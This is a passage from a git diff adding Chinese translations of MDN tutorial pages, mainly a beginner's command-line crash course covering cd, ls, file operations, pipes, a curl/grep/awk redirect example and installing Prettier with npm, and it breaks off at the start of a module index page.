<li>下载在特定的url找到的文件: <code>curl</code></li> + <li>在较大的文件体中寻找特定的片段: <code>grep</code></li> + <li>主页查看文件的内容: <code>less</code>, <code>cat</code></li> + <li>操作和转换文本流(例如,讲HTML文件中<div>的所有实例改为<article>): <code>awk</code>, <code>tr</code>, <code>sed</code></li> +</ul> + +<div class="blockIndicator note"> +<p>注意:在web上有许多很好的教程深入了解web上的命令行——这只是一个简短的介绍</p> +</div> + +<section id="sect45"> +<article> +<section id="sect46"> +<p>让我们继续,看看在命令行上使用这些工具中的几个。在进一步操作之前,先打开终端程序</p> +</section> +</article> +</section> + +<h3 id="在命令行中导航">在命令行中导航</h3> + +<section id="sect47"> +<article> +<section id="sect48"> +<p>当您访问命令行时,您将不可避免地需要导航到一个特定的目录“做一些事情”。所有的操作系统(假设是默认设置)都将在您的“home”目录中启动它们的终端程序,从那里您可能想要移动到另一个地方。</p> +</section> +</article> +</section> + +<p> <code>cd</code> 命令允许您更改目录。从技术上讲,cd不是一个程序,而是内置的。这意味着您的操作系统可以开箱即用地提供它,而且您也不会意外地删除它,感谢上帝!您不需要过多地担心某个命令是否是内置的,但是要记住,内置的命令会在所有基于unix的系统上出现。</p> + +<section id="sect49"> +<article> +<section id="sect50"> +<p>要更改目录,请在终端中键入cd,然后输入要移动到的目录。假设该目录在您的主目录中,您可以使用 <code>cd Desktop</code> (请参见下面的屏幕截图).</p> +</section> +</article> +</section> + +<p><img alt="results of the cd Desktop command being run in a variety of windows terminals - the terminal location moves into the desktop" src="https://mdn.mozillademos.org/files/17182/win-terminals-cd.png" style="border-style: solid; border-width: 1px; display: block; height: 349px; margin: 0px auto; width: 500px;"></p> + +<section id="sect51"> +<article> +<section id="sect52"> +<p>试着把这个输入到你的系统终端</p> +</section> +</article> +</section> + +<pre class="brush: bash notranslate">cd Desktop</pre> + +<section id="sect53"> +<article> +<section id="sect54"> +<p>如果您想回到上一个目录,您可以使用两个点</p> +</section> +</article> +</section> + +<pre class="brush: bash notranslate">cd ..</pre> + +<div class="blockIndicator note"> +<section id="sect55"> +<article> +<section id="sect56"> +<p><strong>注意</strong>:一个非常有用的终端快捷方式是使用<kbd>tab</kbd> 键自动完成你知道的名字,而不是必须键入整个东西。例如,在键入以上两个命令后,尝试键入 <code>cd D</code> 并按下<kbd>tab</kbd> — 它应该自动完成目录名称 <code>Desktop</code> 对于您,只要它存在于当前目录中。在你前进的过程中记住这一点。</p> +</section> +</article> +</section> +</div> + +<p>如果要转到的目录嵌套得很深,则需要知道访问该目录的路径。 当您更加熟悉文件系统的结构时,这通常会变得更容易,但是如果您不确定路径,通常可以使用ls命令(请参见下文)的组合并在其中单击来确定它的路径。 “资源管理器/查找器”窗口可查看目录相对于当前位置的位置。</p> + +<section id="sect57"> +<article> +<section id="sect58"> +<p>例如,如果您想进入一个名为src的目录,该目录位于桌面的一个名为project的目录中,您可以从您的主文件夹键入这三个命令来到达该目录</p> +</section> +</article> +</section> + +<pre class="brush: bash notranslate">cd Desktop +cd project +cd src</pre> + +<section id="sect59"> +<article> +<section id="sect60"> +<p>但这只是浪费时间,相反,您可以键入一个命令,用斜杠分隔路径中的不同项,就像在CSS、HTML或JavaScript代码中指定图像或其他资产的路径一样</p> +</section> +</article> +</section> + +<pre class="brush: bash notranslate">cd Desktop/project/src</pre> + +<section id="sect61"> +<article> +<section id="sect62"> +<p>例如,请注意,在路径上包含一个前斜线将使路径成为绝对路径 <code>/Users/your-user-name/Desktop</code>. 像我们上面做的那样,省略前导斜杠可以使路径相对于当前的工作目录。这与您在web浏览器中看到的url完全相同。前面的斜杠意味着“在网站的根”,而省略斜杠意味着“这个URL是相对于我当前页面的”。</p> + +<section id="sect63"></section> +</section> +</article> +</section> + +<div class="blockIndicator note"> +<section id="sect64"> +<article> +<section id="sect65"> +<p><strong>注意</strong>:在windows中,你使用反斜杠而不是正斜杠。<code>cd Desktop\project\src</code> — 他的可能看起来很奇怪,但是如果你感兴趣的话, <a href="https://www.youtube.com/watch?v=5T3IJfBfBmI">watch this YouTube clip</a> 微软的一位主要工程师对此进行了解释。</p> +</section> +</article> +</section> +</div> + +<h3 id="列出目录内容">列出目录内容</h3> + +<section id="sect66"> +<article> +<section id="sect67"> +<p>另一个内置的Unix命令是ls (list的缩写),它列出当前所在目录的内容。注意,这不会工作,如果你使用默认的Windows命令提示符(cmd),相当于dir。</p> +</section> +</article> +</section> + +<section id="sect68"> +<article> +<section id="sect69"> +<p>现在试着在终端上运行它</p> +</section> +</article> +</section> + +<pre class="brush: bash notranslate">ls</pre> + +<section id="sect70"> +<article> +<section id="sect71"> +<p>这提供了当前工作目录中的文件和目录的列表,但这些信息实际上很基本,您只能得到每个项的名称,而不能知道它是文件还是目录,或者其他任何东西。幸运的是,对命令的用法进行一个小小的更改就可以提供更多的信息。</p> +</section> +</article> +</section> + +<h3 id="介绍命令选项">介绍命令选项</h3> + +<section id="sect72"> +<article> +<section id="sect73"> +<p>大多数终端命令都有选项,这些选项是您添加到命令末尾的修饰符,它们使命令的行为略有不同。它们通常由命令名后的空格、后接破折号、后接一个或多个字母组成。</p> +</section> +</article> +</section> + +<p>例如,试一试看,你能得到什么?</p> + +<pre class="brush: bash notranslate">ls -l </pre> + +<p>至于 <code>ls</code>, the <code>-l</code> 选项为您提供每行一个文件或目录的清单,并显示更多信息。可以通过查找行最左边的字母“d”来识别目录。这些是我们可以做到的 <code>cd</code> 进入.</p> + +<section id="sect74"> +<article> +<section id="sect75"> +<p>下面是一个屏幕截图,顶部是一个普通的macOS终端,还有一个定制的终端,添加了一些额外的图标和颜色,让它看起来生动,都显示了运行的结果<code>ls -l</code>:</p> +</section> +</article> +</section> + +<p><img alt="A vanilla mac terminal and a more colorful custom mac terminal, showing a file listing - the result of running the ls -l command" src="https://mdn.mozillademos.org/files/17181/mac-terminals-ls.png" style="border-style: solid; border-width: 1px; display: block; height: 360px; margin: 0px auto; width: 500px;"></p> + +<div class="blockIndicator note"> +<section id="sect76"> +<article> +<section id="sect77"> +<p><strong>注意</strong>:要确切地了解每个命令有哪些可用选项,您可以查看它<a href="https://en.wikipedia.org/wiki/Man_page">man page</a><span>. </span>通过键入<span> </span><code>man</code><span> </span>命令,后跟要查找的命令的名称,例如<code>man ls</code><span>. </span>这将在终端的默认文本文件查看器中打开手册页(例如<span>, </span><code><a href="https://en.wikipedia.org/wiki/Less_(Unix)">less</a></code><span>(在我的终端中),然后您应该能够使用箭头键或其他类似的机制在页面中滚动。手册页详细地列出了所有选项,一开始可能有点吓人,但至少在需要时您知道它就在那里。一旦您完成了对手册页的查看,您需要使用文本查看器的quit命令退出它</span><span>("q" 在 </span><code>less</code><span>;</span><span>如果不明显,你可能需要在网上搜索才能找到</span><span>).</span></p> +</section> +</article> +</section> +</div> + +<div class="blockIndicator note"> +<p><strong>注意</strong>:</p> + +<section id="sect78"> +<article> +<section id="sect79"> +<p>要同时运行具有多个选项的命令,通常可以将它们全部放在破折号后面的单个字符串中<code>ls -lah</code>, 或<code>ls -ltrh</code>.尝试在 <code>ls</code> 了解这些额外选项的作用</p> +</section> +</article> +</section> +</div> + +<section id="sect80"> +<article> +<section id="sect81"> +<p>既然我们已经讨论了两个基本命令,那么稍微浏览一下您的目录,看看是否可以从一个位置导航到下一个位置。</p> +</section> +</article> +</section> + +<h3 id="创建,复制,移动,删除">创建,复制,移动,删除</h3> + +<section id="sect82"> +<article> +<section id="sect83"> +<p>在使用终端时,您可能会经常使用其他一些基本实用程序命令。它们非常简单,所以我们不会像前一对那样详细地解释它们。</p> +</section> +</article> +</section> + +<section id="sect84"></section> + +<section id="sect85"> +<article> +<section id="sect86"> +<p>在您创建的某个地方的测试目录中使用它们,这样您就不会意外地删除任何重要的内容,使用下面的示例命令作为指导</p> +</section> +</article> +</section> + +<section id="sect87"></section> + +<ul> + <li><code>mkdir</code> —这将在您所在的当前目录中创建一个新目录,名称是您在命令名之后提供的。例如<code>mkdir my-awesome-website将创建一个新目录叫</code><code>my-awesome-website</code><span>.</span></li> + <li><code>rmdir</code> —删除指定目录,但仅当它为空时。例如<code>rmdir my-awesome-website</code> + <section id="sect88"> + <article> + <section id="sect89"> + <p>将删除我们在上面创建的目录。如果您希望删除一个非空的目录(并删除其中包含的所有内容),则可以使用<code>-r</code><span> </span><span>选项(递归),但这很危险。 确保以后在目录中不需要任何内容,因为它将永远消失。</span></p> + </section> + </article> + </section> + </li> + <li><code>touch</code> —在当前目录中创建一个新的空文件。例如<code>touch mdn-example.md</code><span> 创建一个新的空文件叫做</span><span> </span><code>mdn-example.md</code><span>.</span></li> + <li><code>mv</code> — + <section id="sect90"> + <article> + <section id="sect91"> + <p>例如,将文件从第一个指定的文件位置移动到第二个指定的文件位置<code>mdn-example.md mdn-example.txt</code><span>(这些位置被写成文件路径)。此命令移动一个名为</span><code>mdn-example.md</code><span>在当前目录中调用一个文件</span><code>mdn-example.txt</code><span> in the current directory.从技术上讲,文件正在被移动,但是从实际的角度来看,这个命令实际上是在重命名文件。</span></p> + </section> + </article> + </section> + </li> + <li><code>cp</code> — 类似于 <code>mv</code>, <code>cp</code>在指定的第一个位置和第二个位置创建文件的副本。例如 + <section id="sect92"><span>, </span><code>cp mdn-example.txt mdn-example.txt.bak<span>创建一个副本</span></code><code>mdn-example.txt</code><span> 叫做 </span><code>mdn-example.txt.bak</code><span>(当然,如果你愿意,你也可以叫它别的名字)。</span></section> + </li> + <li><code>rm</code> —删除指定的文件。例如, <code>rm mdn-example.txt</code><span> 删除单个文件叫做 </span><code>mdn-example.txt</code><span>.</span>请注意,此删除是永久性的,不能通过桌面用户界面上的回收站撤消。</li> +</ul> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 许多终端命令允许您使用星号作为“通配符”字符,意思是“任何字符序列”。这允许您一次对可能大量的文件运行操作,所有这些文件都匹配指定的模式。作为一个例子<span>, </span><code>rm mdn-*</code><span> </span>将删除所有文件开头<code>mdn-</code><span>. </span><code>rm mdn-*.bak</code><span> </span>会删除所有文件的开头<code>mdn- </code>结束<span> </span><code>.bak</code><span>.</span></p> +</div> + +<h2 id="考虑终端有害吗?">考虑终端有害吗?</h2> + +<section id="sect93"><span>我们之前提到过这一点,但为了明确起见,您需要小心使用终端。简单的命令不会带来太多危险,但是当您开始将更复杂的命令组合在一起时,您需要仔细考虑该命令将执行什么操作,并在最终在指定的目录中运行它们之前先尝试测试它们。</span></section> + +<section id="sect94"></section> + +<section id="sect95"> +<article> +<section id="sect96"> +<p>假设您在一个目录中有1000个文本文件,您想遍历它们,并且只删除文件名中有特定子字符串的文件。如果不小心,可能会删除一些重要的内容,在此过程中丢失大量工作。</p> +</section> +</article> +</section> + +<section id="sect97"><span>要养成的一个好习惯是在文本编辑器中编写您的terminal命令,弄清楚您认为它应该是什么样子,然后对目录进行备份,并首先尝试在该备份上运行命令,以测试它。</span></section> + +<section id="sect98"> +<article> +<section id="sect99"> +<p><span>另一个好建议是,如果你不习惯在自己的机器上尝试终端命令,可以在Glitch.com上试试。除了是测试web开发代码的好地方外,这些项目还允许您访问终端,这样您就可以直接在该终端中运行所有这些命令,而且不会破坏您自己的机器。</span></p> +</section> +</article> +</section> + +<p><img alt="a double screenshot showing the glitch.com home page, and the glitch terminal emulator" src="https://mdn.mozillademos.org/files/17179/glitch.png" style="height: 848px; width: 900px;"></p> + +<section id="sect100"> +<article> +<section id="sect101"> +<p>快速浏览特定终端命令的一个很好的资源是 <a href="https://tldr.sh/">tldr.sh</a>. 这是一个社区驱动的文档服务,类似于MDN,但特定于终端命令。</p> + +<section id="sect102"><span>在下一节中,让我们更进一步(实际上是几个层次),看看如何在命令行上将工具连接在一起,从而真正了解终端如何优于常规的桌面用户界面。</span></section> +</section> +</article> +</section> + +<h2 id="与管道命令连接在一起">与管道命令连接在一起</h2> + +<section id="sect103"></section> + +<section id="sect104"> +<article> +<section id="sect105"> +<p>当您开始使用。将命令链接在一起时,终端才真正成为自己的终端 <code>|</code> (pipe) 的象征。让我们看一个简单的例子来说明这意味着什么。</p> +</section> +</article> +</section> + +<p>我们已经看了 <code>ls</code>, 它可以输出文件目录:</p> + +<pre class="brush: bash notranslate">ls</pre> + +<section id="sect106"> +<article> +<section id="sect107"> +<p>但是如果我们想要快速计算当前目录中的文件和目录的数量会怎样呢<code>ls</code> 不能单独运行</p> +</section> +</article> +</section> + +<section id="sect108"> +<article> +<section id="sect109"> +<p>还有另一个可用的Unix工具,称为<code>wc</code>. 它计算输入到其中的单词、行、字符或字节的数量。这可以是一个文本文件,下面的示例输出其中的行数</p> +</section> +</article> +</section> + +<p><code>myfile.txt</code>:</p> + +<pre class="brush: bash notranslate">wc -l myfile.txt</pre> + +<section id="sect110"> +<article> +<section id="sect111"> +<p>但是它还可以计算输入到它的输出的行数。例如,下面的命令计算<span class="seoSummary">ls</span>命令输出的行数(如果单独运行,它通常会打印到终端),并计算到终端的输出</p> +</section> +</article> +</section> + +<section id="sect112"></section> + +<pre class="brush: bash notranslate">ls | wc -l</pre> + +<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">因为</span></font>ls</code> 在自己的行上打印每个文件或目录,这有效地为我们提供了目录和文件计数。</p> + +<section id="sect113"> +<article> +<section id="sect114"> +<p>这是怎么回事?(unix)命令行工具的一般原理是,它们将文本打印到终端(也称为“打印到标准输出”或<code>STDOUT</code>). 很多命令也可以从流输入(称为“标准输入”o)中读取内容<span> </span><code>STDIN</code><span>).</span></p> +</section> +</article> +</section> + +<section id="sect115"> +<article> +<section id="sect116"> +<p>管道操作符可以将这些输入和输出连接在一起,允许我们构建越来越复杂的操作,以满足我们的需要。一个命令的输出可以成为下一个命令的输入。在这种情况下, <code>ls</code> 通常会将其输出到<code>STDOUT</code>, 但是相反 <code>ls</code>输出被制成<code>wc</code>, 它将该输出作为输入,计算它包含的行数,然后将该计数输出到STDOUT。</p> +</section> +</article> +</section> + +<h2 id="一个稍微复杂一点的例子">一个稍微复杂一点的例子</h2> + +<section id="sect117"> +<article> +<section id="sect118"> +<p>让我们看一些更复杂的东西。我们将首先尝试获取MDN的“获取”页面的内容 <code>curl</code> 命令(可用于从url请求内容)<a href="https://developer.mozilla.org/en-US/docs/Web/API/fetch" style="">https://developer.mozilla.org/en-US/docs/Web/API/fetch</a><span style="">.</span></p> +</section> +</article> +</section> + +<section id="sect119"> +<article> +<section id="sect120"> +<p>但是,这个URL是页面的旧位置。如果您在一个新的浏览器标签中输入它,您将(最终)被重定向到<a href="https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch" style="">https://developer.mozilla.org/enUS/docs/Web/API/WindowOrWorkerGlobalScope/fetch</a><span style="">.</span></p> +</section> +</article> +</section> + +<p>因此,如果您使用curl请求https://developer.mozilla.org/docs/Web/API/fetch,则不会得到输出。 现在就试试:</p> + +<pre class="brush: bash notranslate">curl https://developer.mozilla.org/en-US/docs/Web/API/fetch</pre> + +<p>我们想精确的告诉 <code>curl</code> 遵循重定向使用<code>-L</code> 标签.</p> + +<section id="sect121"> +<article> +<section id="sect122"> +<p>让我们也看看标题 <code>developer.mozilla.org</code> 返回使用 <code>curl</code>'s <code>-I</code> 标签, 并打印它发送到终端的所有位置重定向,通过管道输出 <code>curl</code> 到<code>grep</code> (我们将要求grep返回包含单词“location”的所有行)。</p> + +<p>尝试运行以下代码,您将看到在到达最终页面之前,实际上发生了三次重定向</p> +</section> +</article> +</section> + +<pre class="brush: bash notranslate">curl https://developer.mozilla.org/docs/Web/API/fetch -L -I | grep location</pre> + +<section id="sect123"> +<article> +<section id="sect124"> +<p>输出应该是这样的 (<code>curl</code> 首先会输出一些下载计数器之类的东西):</p> +</section> +</article> +</section> + +<pre class="brush: bash notranslate">location: /en-US/docs/Web/API/fetch +location: /en-US/docs/Web/API/GlobalFetch/GlobalFetch.fetch() +location: /en-US/docs/Web/API/GlobalFetch/fetch +location: /en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch</pre> + +<section id="sect125"> +<article> +<section id="sect126"> +<p>尽管有些做作,我们可以把这个结果做得更深入一点,并变换 <code>location:</code> 行内容,将基本的起点添加到每个起点的开始,这样我们就可以打印出完整的url。为此,我们将在混合中添加awk(它是一种类似于JavaScript、Ruby或Python的编程语言,只是要老得多!)</p> +</section> +</article> +</section> + +<p>尝试运行这个:</p> + +<pre class="brush: bash notranslate">curl https://developer.mozilla.org/docs/Web/API/fetch -L -I | grep location | awk '{ print "https://developer.mozilla.org" $2 }'</pre> + +<section id="sect127"> +<article> +<section id="sect128"> +<p>最终的输出应该是这样的</p> +</section> +</article> +</section> + +<pre class="brush: bash notranslate">https://developer.mozilla.org/en-US/docs/Web/API/fetch +https://developer.mozilla.org/en-US/docs/Web/API/GlobalFetch/GlobalFetch.fetch() +https://developer.mozilla.org/en-US/docs/Web/API/GlobalFetch/fetch +https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch</pre> + +<section id="sect129"> +<article> +<section id="sect130"> +<p>通过组合这些命令,我们定制了输出以显示完整的url,当我们请求时,Mozilla服务器将通过这些url重定向<code>/docs/Web/API/fetch</code> URL.了解您的系统将在未来几年证明是有用的,您将了解这些单一服务工具是如何工作的,以及它们如何成为您解决小众问题的工具库的一部分。</p> +</section> +</article> +</section> + +<h2 id="添加工具">添加工具</h2> + +<section id="sect131"> +<article> +<section id="sect132"> +<p>现在我们已经了解了系统自带的一些内置命令,让我们看看如何安装和使用第三方CLI工具。</p> +</section> +</article> +</section> + +<section id="sect133"> +<article> +<section id="sect134"> +<p>目前,用于前端web开发的可安装工具的巨大生态系统主要存在于内部 <a href="https://www.npmjs.com">npm</a>, 与Node.js紧密合作的私有的包托管服务。随着时间的推移,您可以期望看到更多的包提供者。</p> +</section> +</article> +</section> + +<p><a href="https://nodejs.org/en/">Installing Node.js</a> 还要安装npm命令行工具(以及一个以npm为中心的补充工具npx),它提供了安装其他命令行工具的网关。js和npm在所有系统上都能工作:macOS、Windows和Linux。</p> + +<section id="sect135"> +<article> +<section id="sect136"> +<p>现在在您的系统上安装npm,转到上面的URL,下载并运行适合您的操作系统的Node.js安装程序。如果出现提示,请确保将npm作为安装的一部分。</p> +</section> +</article> +</section> + +<p><img alt="the node.js installer on windows, showing the option to include npm" src="https://mdn.mozillademos.org/files/17185/npm-install-option.png" style="border-style: solid; border-width: 1px; display: block; height: 469px; margin: 0px auto; width: 600px;"></p> + +<section id="sect137"> +<article> +<section id="sect138"> +<p>尽管我们将在下一篇文章中讨论许多不同的工具,但我们将继续深入研究 <a href="https://prettier.io/">Prettier</a>. Prettier是一种固执己见的代码格式化程序,它只有“很少的选择”。更少的选择往往意味着更简单。考虑到工具在复杂性方面有时会失控,“很少的选项”可能非常有吸引力。</p> +</section> +</article> +</section> + +<h3 id="在哪里下载我们的CLI工具?">在哪里下载我们的CLI工具?</h3> + +<section id="sect139"> +<article> +<section id="sect140"> +<p>在开始安装Prettier之前,有一个问题需要回答:“我们应该安装到哪里?</p> +</section> +</article> +</section> + +<p>用<code>npm</code> 我们可以选择在全球安装工具,因此我们可以在任何地方或本地访问当前项目目录。</p> + +<p>每种方式各有利弊 — 而这张全球安装的利弊清单还远远不够详尽:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col"> + <section id="sect141"> + <article> + <p>全球安装的优点</p> + </article> + </section> + </th> + <th scope="col">全球安装的缺点</th> + </tr> + </thead> + <tbody> + <tr> + <td> + <section id="sect142"> + <article> + <p>任何地方在您的终端</p> + </article> + </section> + </td> + <td>可能与您项目的代码库不兼容</td> + </tr> + <tr> + <td>只下载一次</td> + <td> + <section id="sect143"> + <article> + <section id="sect144"> + <p>您团队中的其他开发人员无法使用这些工具,例如,如果您通过git这样的工具共享代码基。</p> + </section> + </article> + </section> + </td> + </tr> + <tr> + <td> + <section id="sect145"> + <article> + <p>使用较少的磁盘空间</p> + </article> + </section> + </td> + <td> + <section id="sect146"> + <article> + <section id="sect147"> + <p>与前一点相关的是,它使得项目代码更难复制(如果您在本地安装工具,可以将它们设置为依赖项并使用npm进行安装<code style="">npm install</code><span style="">).</span></p> + </section> + </article> + </section> + </td> + </tr> + <tr> + <td> + <section id="sect148"> + <article> + <section id="sect149"> + <p>总是相同的版本</p> + </section> + </article> + </section> + </td> + <td></td> + </tr> + <tr> + <td> + <section id="sect150"> + <article> + <section id="sect151"> + <p>感觉像任何其他unix命令</p> + </section> + </article> + </section> + </td> + <td></td> + </tr> + </tbody> +</table> + +<section id="sect152"> +<article> +<section id="sect153"> +<p>尽管缺点清单比较短,但是全局安装的负面影响可能要比好处大得多。然而,现在我们宁可追求简单,而采用全局安装来保持简单。在下一篇文章中,我们将进一步了解本地安装以及它们的优点。</p> +</section> +</article> +</section> + +<h3 id="下载_Prettier">下载 Prettier</h3> + +<section id="sect154"> +<article> +<section id="sect155"> +<p>对于本文,我们将安装Prettier作为全局命令行实用程序。</p> +</section> +</article> +</section> + +<section id="sect156"> +<article> +<section id="sect157"> +<p>Prettier是一款专门为前端开发人员设计的代码格式化工具,专注于基于javascript的语言,并增加了对HTML、CSS、SCSS、JSON等的支持。Prettier 能:</p> +</section> +</article> +</section> + +<ul> + <li> + <section id="sect158"><span style="">省去了在所有代码文件中手动保持样式一致的认知开销;Prettier可以自动为您完成此操作。</span></section> + </li> + <li>帮助Web新手以最佳方式完成他们的代码.</li> + <li>安装在任何操作系统上,甚至直接作为项目工具的一部分,以确保从事您的代码工作的同事和朋友使用您正在使用的代码风格。</li> + <li> + <section id="sect159"> + <article> + <section id="sect160"> + <p>配置为在保存时运行、在键入时运行,甚至在发布代码之前运行(使用稍后将在模块中看到的其他工具)。</p> + </section> + </article> + </section> + </li> +</ul> + +<section id="sect161"> +<article> +<section id="sect162"> +<p>安装node之后,打开终端并运行以下命令来安装更漂亮的程序:</p> +</section> +</article> +</section> + +<pre class="brush: bash notranslate">npm install --global prettier</pre> + +<p>命令运行完成后,Prettier工具现在可以在终端中的文件系统中的任何位置使用。</p> + +<section id="sect163"> +<article> +<section id="sect164"> +<p>与许多其他命令一样,不带任何参数运行该命令将提供用法和帮助信息。现在试试这个</p> +</section> +</article> +</section> + +<pre class="brush: bash notranslate">prettier</pre> + +<section id="sect165"> +<article> +<section id="sect166"> +<p>输出应该是这样的</p> +</section> +</article> +</section> + +<pre class="brush: bash notranslate">Usage: prettier [options] [file/glob ...] + +By default, output is written to stdout. +Stdin is read if it is piped to Prettier and no files are given. + +…</pre> + +<section id="sect167"> +<article> +<section id="sect168"> +<p>即使它很长,至少浏览一下使用信息也是值得的。它将帮助您更好地理解如何使用该工具。</p> +</section> +</article> +</section> + +<h3 id="尝试_Prettier">尝试 Prettier</h3> + +<section id="sect169"> +<article> +<section id="sect170"> +<p>让我们快速演示一下Prettier,这样您就可以看到它是如何工作的。</p> +</section> +</article> +</section> + +<section id="sect171"></section> + +<section id="sect172"> +<article> +<section id="sect173"> +<p>首先,在文件系统中容易找到的地方创建一个新目录。可能是一个叫做<code>prettier-test</code> 在你的 <code>Desktop</code>.</p> + +<p>现在将以下代码保存在一个名为<code>index.js</code>, 在测试目录中:</p> +</section> +</article> +</section> + +<pre class="brush: js notranslate">const myObj = { +a:1,b:{c:2}} +function printMe(obj){console.log(obj.b.c)} +printMe(myObj)</pre> + +<section id="sect174"> +<article> +<section id="sect175"> +<p>我们可以在代码基上运行得更好,以检查我们的代码是否需要调整。cd到您的目录中,并尝试运行此命令:</p> +</section> +</article> +</section> + +<pre class="brush: bash notranslate">prettier --check index.js</pre> + +<section id="sect176"> +<article> +<section id="sect177"> +<p>你的产出应该是:</p> +</section> +</article> +</section> + +<pre class="brush: bash notranslate">Checking formatting... +index.js +Code style issues found in the above file(s). Forgot to run Prettier?</pre> + +<section id="sect178"> +<article> +<section id="sect179"> +<p>有些代码样式是可以修改的。没有问题。添加 <code>--write</code> option to the prettier命令将修复这些问题,让我们专注于实际编写有用的代码。</p> +</section> +</article> +</section> + +<section id="sect180"> +<article> +<section id="sect181"> +<p>现在尝试运行这个版本的命令:</p> +</section> +</article> +</section> + +<pre class="brush: bash notranslate">prettier --write index.js</pre> + +<p>你可能得到这样的输出:</p> + +<pre class="brush: bash notranslate">Checking formatting... +index.js +Code style issues fixed in the above file(s).</pre> + +<section id="sect182"> +<article> +<section id="sect183"> +<p>但更重要的是,如果你回头看你的JavaScript文件,你会发现它被重新格式化成这样:</p> +</section> +</article> +</section> + +<pre class="brush: js notranslate">const myObj = { + a: 1, + b: { c: 2 }, +}; +function printMe(obj) { + console.log(obj.b.c); +} +printMe(myObj);</pre> + +<section id="sect184"> +<article> +<section id="sect185"> +<p>根据您的工作流(或您选择的工作流),您可以将其作为流程的自动化部分。自动化确实是工具的优势所在;我们的个人偏好是那种无需配置任何东西就能“自动发生”的自动化。</p> +</section> +</article> +</section> + +<section id="sect186"> +<article> +<section id="sect187"> +<p>使用Prettier有许多实现自动化的方法,尽管它们超出了本文的范围,但是有一些很好的在线资源可以提供帮助(已经链接到其中一些)。您可以调用更漂亮的:</p> +</section> +</article> +</section> + +<ul> + <li> + <section id="sect188"> + <article> + <section id="sect189"> + <p>在将代码提交到git存储库之前,使用<a href="https://github.com/typicode/husky" style="">Husky</a><span style="">.</span></p> + </section> + </article> + </section> + </li> + <li> + <section id="sect190"> + <article> + <section id="sect191"> + <p>当你在代码编辑器中点击“保存”的时候,无论是<a href="https://marketplace.visualstudio.com/items?itemName=esbenp.prettier-vscode" style="">VS Code</a><span style="">, </span><a href="https://atom.io/packages/prettier-atom" style="">Atom</a><span style="">, 或</span><a href="https://packagecontrol.io/packages/JsPrettier" style="">Sublime Text</a><span style="">.</span></p> + </section> + </article> + </section> + </li> + <li> + <section id="sect192"> + <article> + <section id="sect193"> + <p>作为持续集成检查的一部分,可以使用以下工具<a href="https://github.com/features/actions" style="">Github Actions</a><span style="">.</span></p> + </section> + </article> + </section> + </li> +</ul> + +<section id="sect194"> +<article> +<section id="sect195"> +<p>我们个人的偏好是第二个当使用say VS代码时,Prettier会启动并清理每次我们点击保存时需要做的格式化。关于以不同方式使用Prettier,您可以在 <a href="https://prettier.io/docs/en/">Prettier docs</a>.</p> +</section> +</article> +</section> + +<h2 id="尝试其他的工具">尝试其他的工具</h2> + +<section id="sect196"> +<article> +<section id="sect197"> +<p>如果你想尝试更多的工具,这里有一个简短的列表,很有趣的尝试:</p> +</section> +</article> +</section> + +<section id="sect198"></section> + +<ul> + <li><code><a href="https://github.com/sharkdp/bat">bat</a></code> — 一个更好的 <code>cat</code> (<code>cat</code> 用于打印文件内容)。</li> + <li><code><a href="http://denilson.sa.nom.br/prettyping/">prettyping</a></code> — <code>ping</code>在命令行上,但是是可视化的(ping是检查服务器是否有响应的有用工具)。</li> + <li><code><a href="http://hisham.hm/htop/">htop</a></code> —进程查看器,当某些东西使您的CPU风扇的行为像一个喷气发动机,并且您想要识别出错的程序时,它非常有用。</li> + <li><code><a href="https://tldr.sh/#installation">tldr</a></code> —在本章前面提到的,但是可以作为命令行工具使用。</li> +</ul> + +<section id="sect199"> +<article> +<section id="sect200"> +<p>注意,上面的一些建议可能需要使用npm进行安装,就像我们使用Prettier所做的那样。</p> +</section> +</article> +</section> + +<h2 id="总结">总结</h2> + +<p>这使我们结束了对终端/命令行的简短浏览。 接下来,我们将更详细地介绍软件包管理器,以及如何使用它们。</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Understanding_client-side_tools/Overview","Learn/Tools_and_testing/Understanding_client-side_tools/Package_management", "Learn/Tools_and_testing/Understanding_client-side_tools")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Overview">Client-side tooling overview</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">Command line crash course</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Package_management">Package management basics</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Introducing_complete_toolchain">Introducing a complete toolchain</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Deployment">Deploying our app</a></li> +</ul> diff --git a/files/zh-cn/learn/tools_and_testing/understanding_client-side_tools/index.html b/files/zh-cn/learn/tools_and_testing/understanding_client-side_tools/index.html new file mode 100644 index 0000000000..859a634ca9 --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/understanding_client-side_tools/index.html @@ -0,0 +1,37 @@ +--- +title: 理解客户端web开发工具 +slug: Learn/Tools_and_testing/Understanding_client-side_tools +translation_of: Learn/Tools_and_testing/Understanding_client-side_tools +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">客户端工具可能让人望而生畏, 不过这个系列的文章主要目的在于展示一些最常见的客户端工具的用途,阐明可以被你链接使用的工具,如何使用包管理器安装这些工具,以及如何使用命令行操控它们。我们将以一个完整的工具链示例收尾,示例会向你展示如何变得更具生产力。</p> + +<p class="summary"><strong><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Overview">现在就从我们的“客户端工具概览”开始吧</a></strong></p> + +<h2 id="先决条件">先决条件</h2> + +<p>在尝试使用这里列举的工具之前,你应该先好好学习一下 <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, 和 <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> 的核心基础知识。</p> + +<div class="in-page-callout webdev"> +<h3 id="渴望成为一名前端开发人员?">渴望成为一名前端开发人员?</h3> + +<p>我们已经把你实现目标所需要的所有必要信息都放在了一个课程里面。</p> + +<p><a class="cta primary" href="/docs/Learn/Front-end_web_developer">开始</a></p> +</div> + +<h2 